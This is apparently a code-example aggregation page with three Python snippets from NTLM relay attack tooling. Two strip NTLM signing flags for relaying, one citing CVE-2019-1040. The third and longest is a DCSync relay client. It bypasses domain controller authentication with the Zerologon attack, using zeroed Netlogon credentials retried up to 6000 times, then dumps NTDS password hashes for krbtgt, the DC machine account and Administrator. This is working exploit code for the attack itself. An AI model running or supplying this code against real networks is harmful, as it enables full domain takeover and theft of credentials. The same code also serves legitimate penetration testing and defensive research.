示例#1
0
    def sendNegotiate(self, negotiateMessage):
        negoMessage = NTLMAuthNegotiate()
        negoMessage.fromString(negotiateMessage)
        # When exploiting CVE-2019-1040, remove flags
        if self.serverConfig.remove_mic:
            if negoMessage[
                    'flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:
                negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN
            if negoMessage[
                    'flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:
                negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN
            if negoMessage[
                    'flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH:
                negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH
            if negoMessage[
                    'flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION:
                negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION

        negotiateMessage = negoMessage.getData()

        challenge = NTLMAuthChallenge()
        if self.session.getDialect() == SMB_DIALECT:
            challenge.fromString(self.sendNegotiatev1(negotiateMessage))
        else:
            challenge.fromString(self.sendNegotiatev2(negotiateMessage))

        self.negotiateMessage = negotiateMessage
        self.challengeMessage = challenge.getData()

        # Store the Challenge in our session data dict. It will be used by the SMB Proxy
        self.sessionData['CHALLENGE_MESSAGE'] = challenge
        self.serverChallenge = challenge['challenge']

        return challenge
示例#2
0
    def sendNegotiate(self, negotiateMessage):
        negotiate = NTLMAuthNegotiate()
        negotiate.fromString(negotiateMessage)
        #Remove the signing flag
        negotiate['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN

        challenge = NTLMAuthChallenge()
        if self.session.getDialect() == SMB_DIALECT:
            challenge.fromString(self.sendNegotiatev1(negotiateMessage))
        else:
            challenge.fromString(self.sendNegotiatev2(negotiateMessage))

        self.negotiateMessage = negotiateMessage
        self.challengeMessage = challenge.getData()

        # Store the Challenge in our session data dict. It will be used by the SMB Proxy
        self.sessionData['CHALLENGE_MESSAGE'] = challenge
        self.serverChallenge = challenge['challenge']

        return challenge
示例#3
0
class DCSYNCRelayClient(ProtocolClient):
    """
    DCSync relay client. Relays to DRSUAPI directly. Since this requires signing+sealing, it
    invokes the Zerologon vulnerability to impersonate the DC and grab the session key over Netlogon.
    """
    PLUGIN_NAME = "DCSYNC"

    def __init__(self,
                 serverConfig,
                 target,
                 targetPort=None,
                 extendedSecurity=True):
        ProtocolClient.__init__(self, serverConfig, target, targetPort,
                                extendedSecurity)

        self.endpoint = serverConfig.rpc_mode

        self.endpoint_uuid = drsuapi.MSRPC_UUID_DRSUAPI

        LOG.debug(
            "Connecting to ncacn_ip_tcp:%s[135] to determine %s stringbinding"
            % (target.netloc, self.endpoint))
        self.stringbinding = epm.hept_map(target.netloc,
                                          self.endpoint_uuid,
                                          protocol='ncacn_ip_tcp')

        LOG.debug("%s stringbinding is %s" %
                  (self.endpoint, self.stringbinding))

    def initConnection(self):
        rpctransport = transport.DCERPCTransportFactory(self.stringbinding)

        if self.serverConfig.rpc_use_smb:
            LOG.info(
                "Authenticating to smb://%s:%d with creds provided in cmdline"
                % (self.target.netloc, self.serverConfig.rpc_smb_port))
            rpctransport.set_credentials(self.serverConfig.smbuser, self.serverConfig.smbpass, self.serverConfig.smbdomain, \
                self.serverConfig.smblmhash, self.serverConfig.smbnthash)
            rpctransport.set_dport(self.serverConfig.rpc_smb_port)

        self.session = MYDCERPC_v5(rpctransport)
        self.session.set_auth_level(rpcrt.RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
        self.session.connect()

        return True

    def sendNegotiate(self, auth_data):
        negoMessage = NTLMAuthNegotiate()
        negoMessage.fromString(auth_data)
        if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SEAL == 0:
            negoMessage['flags'] |= NTLMSSP_NEGOTIATE_SEAL
        self.negotiateMessage = negoMessage.getData()
        bindResp = self.session.sendBindType1(self.endpoint_uuid,
                                              self.negotiateMessage)

        self.challenge = NTLMAuthChallenge()
        self.challenge.fromString(bindResp['auth_data'])

        return self.challenge

    def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
        if unpack('B', authenticateMessageBlob[:1]
                  )[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
            respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
            auth_data = respToken2['ResponseToken']
        else:
            auth_data = authenticateMessageBlob

        remoteOps = None
        try:
            signingkey = self.netlogonSessionKey(serverChallenge,
                                                 authenticateMessageBlob)
            # Something failed
            if signingkey == 0:
                return
            self.session.set_session_key(signingkey)
            authenticateMessage = NTLMAuthChallengeResponse()
            authenticateMessage.fromString(auth_data)

            # Recalc mic
            authenticateMessage['MIC'] = b'\x00' * 16
            if authenticateMessage['flags'] & NTLMSSP_NEGOTIATE_SEAL == 0:
                authenticateMessage['flags'] |= NTLMSSP_NEGOTIATE_SEAL
            newmic = ntlm.hmac_md5(
                signingkey, self.negotiateMessage + self.challenge.getData() +
                authenticateMessage.getData())
            authenticateMessage['MIC'] = newmic
            self.session.sendBindType3(authenticateMessage.getData())

            # Now perform DRS bind
            # This code comes from secretsdump directly
            request = drsuapi.DRSBind()
            request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID
            drs = drsuapi.DRS_EXTENSIONS_INT()
            drs['cb'] = len(drs)  #- 4
            drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | \
                             drsuapi.DRS_EXT_STRONG_ENCRYPTION
            drs['SiteObjGuid'] = drsuapi.NULLGUID
            drs['Pid'] = 0
            drs['dwReplEpoch'] = 0
            drs['dwFlagsExt'] = 0
            drs['ConfigObjGUID'] = drsuapi.NULLGUID
            # I'm uber potential (c) Ben
            drs['dwExtCaps'] = 0xffffffff
            request['pextClient']['cb'] = len(drs)
            request['pextClient']['rgb'] = list(drs.getData())
            resp = self.session.request(request)

            # Initialize remoteoperations
            if self.serverConfig.smbuser != '':
                smbConnection = SMBConnection(self.target.netloc,
                                              self.target.netloc)
                smbConnection.login(self.serverConfig.smbuser, self.serverConfig.smbpass, self.serverConfig.smbdomain, \
                self.serverConfig.smblmhash, self.serverConfig.smbnthash)
                remoteOps = RemoteOperations(smbConnection, False)
            else:
                remoteOps = PatchedRemoteOperations(None, False)

            # DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data.
            drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT()

            # If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right.
            ppextServer = b''.join(resp['ppextServer']['rgb']) + b'\x00' * (
                len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb'])
            drsExtensionsInt.fromString(ppextServer)

            if drsExtensionsInt['dwReplEpoch'] != 0:
                # Different epoch, we have to call DRSBind again
                LOG.debug(
                    "DC's dwReplEpoch != 0, setting it to %d and calling DRSBind again"
                    % drsExtensionsInt['dwReplEpoch'])
                drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch']
                request['pextClient']['cb'] = len(drs)
                request['pextClient']['rgb'] = list(drs.getData())
                resp = self.session.request(request)

            remoteOps._RemoteOperations__hDrs = resp['phDrs']

            domainName = authenticateMessage['domain_name'].decode('utf-16le')
            # Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges
            resp = drsuapi.hDRSDomainControllerInfo(
                self.session, remoteOps._RemoteOperations__hDrs, domainName, 2)
            # LOG.debug('DRSDomainControllerInfo() answer')
            # resp.dump()

            if resp['pmsgOut']['V2']['cItems'] > 0:
                remoteOps._RemoteOperations__NtdsDsaObjectGuid = resp[
                    'pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid']
            else:
                LOG.error("Couldn't get DC info for domain %s" % domainName)
                raise Exception('Fatal, aborting')
            remoteOps._RemoteOperations__drsr = self.session

            # Initialize NTDSHashes object
            if self.serverConfig.smbuser != '':
                # We can dump all :)
                nh = NTDSHashes(None,
                                None,
                                isRemote=True,
                                history=False,
                                noLMHash=False,
                                remoteOps=remoteOps,
                                useVSSMethod=False,
                                justNTLM=False,
                                pwdLastSet=False,
                                resumeSession=None,
                                outputFileName='hashes',
                                justUser=None,
                                printUserStatus=False)
                nh.dump()
            else:
                # Most important, krbtgt
                nh = NTDSHashes(None,
                                None,
                                isRemote=True,
                                history=False,
                                noLMHash=False,
                                remoteOps=remoteOps,
                                useVSSMethod=False,
                                justNTLM=False,
                                pwdLastSet=False,
                                resumeSession=None,
                                outputFileName='hashes',
                                justUser=domainName + '/krbtgt',
                                printUserStatus=False)
                nh.dump()
                # Also important, DC hash (to sync fully)
                av_pairs = authenticateMessage['ntlm'][44:]
                av_pairs = AV_PAIRS(av_pairs)
                serverName = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode(
                    'utf-16le')
                nh = NTDSHashes(None,
                                None,
                                isRemote=True,
                                history=False,
                                noLMHash=False,
                                remoteOps=remoteOps,
                                useVSSMethod=False,
                                justNTLM=False,
                                pwdLastSet=False,
                                resumeSession=None,
                                outputFileName='hashes',
                                justUser=domainName + '/' + serverName + '$',
                                printUserStatus=False)
                nh.dump()
                # Finally, builtin\Administrator providing it was not renamed
                try:
                    nh = NTDSHashes(None,
                                    None,
                                    isRemote=True,
                                    history=False,
                                    noLMHash=False,
                                    remoteOps=remoteOps,
                                    useVSSMethod=False,
                                    justNTLM=False,
                                    pwdLastSet=False,
                                    resumeSession=None,
                                    outputFileName='hashes',
                                    justUser=domainName + '/Administrator',
                                    printUserStatus=False)
                    nh.dump()
                except Exception:
                    LOG.error('Could not dump administrator (renamed?)')

            return None, STATUS_SUCCESS
        except Exception as e:
            traceback.print_exc()
        finally:
            if remoteOps is not None:
                remoteOps.finish()

    def netlogonSessionKey(self, challenge, authenticateMessageBlob):
        # Here we will use netlogon to get the signing session key
        LOG.info("Connecting to %s NETLOGON service" % self.target.netloc)

        respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
        authenticateMessage = NTLMAuthChallengeResponse()
        authenticateMessage.fromString(respToken2['ResponseToken'])
        domainName = authenticateMessage['domain_name'].decode('utf-16le')
        flags = authenticateMessage['flags']
        try:
            av_pairs = authenticateMessage['ntlm'][44:]
            av_pairs = AV_PAIRS(av_pairs)

            serverName = av_pairs[NTLMSSP_AV_HOSTNAME][1].decode('utf-16le')
        except:
            LOG.debug("Exception:", exc_info=True)
            # We're in NTLMv1, not supported
            return STATUS_ACCESS_DENIED

        binding = epm.hept_map(self.target.netloc,
                               nrpc.MSRPC_UUID_NRPC,
                               protocol='ncacn_ip_tcp')

        dce = transport.DCERPCTransportFactory(binding).get_dce_rpc()
        dce.connect()
        dce.bind(nrpc.MSRPC_UUID_NRPC)
        MAX_ATTEMPTS = 6000
        for attempt in range(0, MAX_ATTEMPTS):
            resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName + '\x00',
                                                b'\x00' * 8)

            serverChallenge = resp['ServerChallenge']

            ppp = b'\x00' * 8
            try:
                nrpc.hNetrServerAuthenticate3(
                    dce, NULL, serverName + '$\x00',
                    nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
                    serverName + '\x00', ppp, 0x212effef)
            except nrpc.DCERPCSessionError as ex:
                # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
                if ex.get_error_code() == 0xc0000022:
                    continue
                else:
                    LOG.error('Unexpected error code from DC: %d.',
                              ex.get_error_code())
            except BaseException as ex:
                LOG.error('Unexpected error: %s', str(ex))
            LOG.info(
                'Netlogon Auth OK, successfully bypassed autentication using Zerologon after %d attempts!',
                attempt)
            break
        else:
            LOG.error(
                'No success bypassing auth after 6000 attempts. Target likely patched!'
            )
            return
        clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10)

        # Now let's try to verify the security blob against the PDC

        lflags = unpack('<L', b'\xe0\x2a\x00\x00')[0]
        request = nrpc.NetrLogonSamLogonWithFlags()
        request['LogonServer'] = '\x00'
        request['ComputerName'] = serverName + '\x00'
        request[
            'ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4

        request[
            'LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
        request['LogonInformation'][
            'tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'LogonDomainName'] = domainName
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'ParameterControl'] = lflags
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'UserName'] = authenticateMessage['user_name'].decode('utf-16le')
        request['LogonInformation']['LogonNetworkTransitive']['Identity'][
            'Workstation'] = ''
        request['LogonInformation']['LogonNetworkTransitive'][
            'LmChallenge'] = challenge
        request['LogonInformation']['LogonNetworkTransitive'][
            'NtChallengeResponse'] = authenticateMessage['ntlm']
        request['LogonInformation']['LogonNetworkTransitive'][
            'LmChallengeResponse'] = authenticateMessage['lanman']

        authenticator = nrpc.NETLOGON_AUTHENTICATOR()
        authenticator[
            'Credential'] = b'\x00' * 8  #nrpc.ComputeNetlogonCredential(clientStoredCredential, sessionKey)
        authenticator['Timestamp'] = 0

        request['Authenticator'] = authenticator
        request['ReturnAuthenticator']['Credential'] = b'\x00' * 8
        request['ReturnAuthenticator']['Timestamp'] = 0
        request['ExtraFlags'] = 0
        #request.dump()
        try:
            resp = dce.request(request)
            #resp.dump()
        except DCERPCException as e:
            LOG.debug('Exception:', exc_info=True)
            LOG.error(str(e))
            return e.get_error_code()

        LOG.info(
            "%s\\%s successfully validated through NETLOGON" %
            (domainName, authenticateMessage['user_name'].decode('utf-16le')))

        encryptedSessionKey = authenticateMessage['session_key']
        if encryptedSessionKey != '':
            signingKey = generateEncryptedSessionKey(
                resp['ValidationInformation']['ValidationSam4']
                ['UserSessionKey'], encryptedSessionKey)
        else:
            signingKey = resp['ValidationInformation']['ValidationSam4'][
                'UserSessionKey']

        LOG.info("NTLM Sign/seal key: %s " %
                 hexlify(signingKey).decode('utf-8'))
        if flags & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
            self.session._DCERPC_v5__clientSigningKey = ntlm.SIGNKEY(
                flags, signingKey)
            self.session._DCERPC_v5__serverSigningKey = ntlm.SIGNKEY(
                flags, signingKey, b"Server")
            self.session._DCERPC_v5__clientSealingKey = ntlm.SEALKEY(
                flags, signingKey)
            self.session._DCERPC_v5__serverSealingKey = ntlm.SEALKEY(
                flags, signingKey, b"Server")
            # Preparing the keys handle states
            cipher3 = ARC4.new(self.session._DCERPC_v5__clientSealingKey)
            self.session._DCERPC_v5__clientSealingHandle = cipher3.encrypt
            cipher4 = ARC4.new(self.session._DCERPC_v5__serverSealingKey)
            self.session._DCERPC_v5__serverSealingHandle = cipher4.encrypt
        else:
            # Same key for everything
            self.session._DCERPC_v5__clientSigningKey = signingKey
            self.session._DCERPC_v5__serverSigningKey = signingKey
            self.session._DCERPC_v5__clientSealingKey = signingKey
            self.session._DCERPC_v5__serverSealingKey = signingKey
            cipher = ARC4.new(self.session._DCERPC_v5__clientSigningKey)
            self.session._DCERPC_v5__clientSealingHandle = cipher.encrypt
            self.session._DCERPC_v5__serverSealingHandle = cipher.encrypt
        self.session._DCERPC_v5__sequence = 0
        self.session._DCERPC_v5__flags = flags
        return signingKey

    def killConnection(self):
        if self.session is not None:
            self.session.get_rpc_transport().disconnect()
            self.session = None

    def keepAlive(self):
        return